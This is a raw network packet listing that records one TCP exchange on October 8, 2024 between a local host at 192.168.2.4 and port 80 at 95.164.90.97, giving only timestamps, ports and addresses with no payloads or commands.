Oct 8, 2024 02:45:24.476682901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476696014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476716042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.476727962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.476758957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477266073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477298975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477324963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477332115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477338076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477365971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477375031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477399111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477411032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477432966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477437973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477467060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477479935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477500916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477513075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477554083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477772951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477806091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477826118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477838993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477848053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477868080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477879047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477901936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477912903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477935076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477946997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.477967978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.477983952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478003025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478010893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478046894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478466034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478498936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478522062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478537083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478624105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478657007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478677034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478689909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478698969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478724003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478733063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478756905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478773117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478790998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478821993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478840113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478853941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478871107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478879929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.478897095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.478919029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.479259968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.479274988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.479289055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.479305029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.479320049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.479334116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.479336977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.479341030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.479362965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.479382038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.481844902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.481858969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.481899023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482002974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482017994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482033014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482047081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482055902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482063055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482076883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482105017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482145071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482161045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482186079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482211113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482323885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482340097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482353926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482379913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482428074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482598066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482614040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482629061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482664108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482664108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482676029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482762098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482778072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482791901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482808113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482809067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482816935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482824087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482844114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482856989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482868910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482876062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.482898951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.482912064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.483237982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483298063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.483402967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483417988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483433008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483447075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483449936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.483459949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.483463049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483478069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.483480930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.483516932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.483531952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507069111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507098913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507132053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507157087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507175922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507183075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507242918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507277012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507364988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507364988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507364988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507447004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507479906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507514000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507534027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507560015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507572889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507606030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507620096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507648945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507819891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507853031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507874966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507886887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507894993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507920980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507930040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507952929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507968903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.507986069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.507997036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508032084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508275986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.508311987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.508332968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508344889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.508347034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508378983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.508387089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508411884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.508423090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508445024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.508461952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.508491993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545522928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545574903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545582056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545610905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545619965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545656919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545835018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545867920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545887947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545908928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545914888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545943022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.545953035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.545986891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586076021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586129904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586139917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586158991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586169958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586199045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586224079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586257935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586308956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586442947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586474895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586494923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586510897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586513996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586554050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586592913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586621046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586639881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586661100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586694956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586728096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586757898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586774111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586790085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586798906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586826086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.586832047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.586865902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587094069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587150097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587198019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587229967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587240934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587263107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587290049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587296009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587301970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587328911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587347031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587374926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587378025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587428093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587677956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587727070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587728977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587759972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587768078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587795019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587800026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587827921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587833881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587861061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587866068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587893963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587898970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587928057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.587933064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.587966919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588347912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588395119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588398933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588428974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588460922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588476896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588493109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588501930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588527918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588534117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588561058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588567019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588593960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588599920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588627100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588634968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588660002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588668108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588692904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.588699102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.588731050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589236021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589268923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589287043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589309931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589318037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589350939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589358091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589384079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589389086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589416027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589423895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589448929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589462996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589482069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589489937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589521885 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589526892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589565992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589581966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589613914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589622974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589646101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.589652061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.589685917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590178967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590228081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590229034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590260029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590265989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590292931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590301037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590326071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590332985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590361118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590365887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590394020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590399981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590425968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590435028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590459108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590465069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590493917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590497971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590528011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.590542078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.590569019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591037989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591070890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591088057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591113091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591154099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591186047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591198921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591218948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591229916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591250896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591262102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591284037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591295958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591316938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591325998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591348886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591361046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591394901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591455936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591546059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591564894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591588974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.591906071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.591964006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592022896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592055082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592072964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592086077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.592094898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.592118979 CEST	80	51293	95.164.90.97	192.168.2.4
